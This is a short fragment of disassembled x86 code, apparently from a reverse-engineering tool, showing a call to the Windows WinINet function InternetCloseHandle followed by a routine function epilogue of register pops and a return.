call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret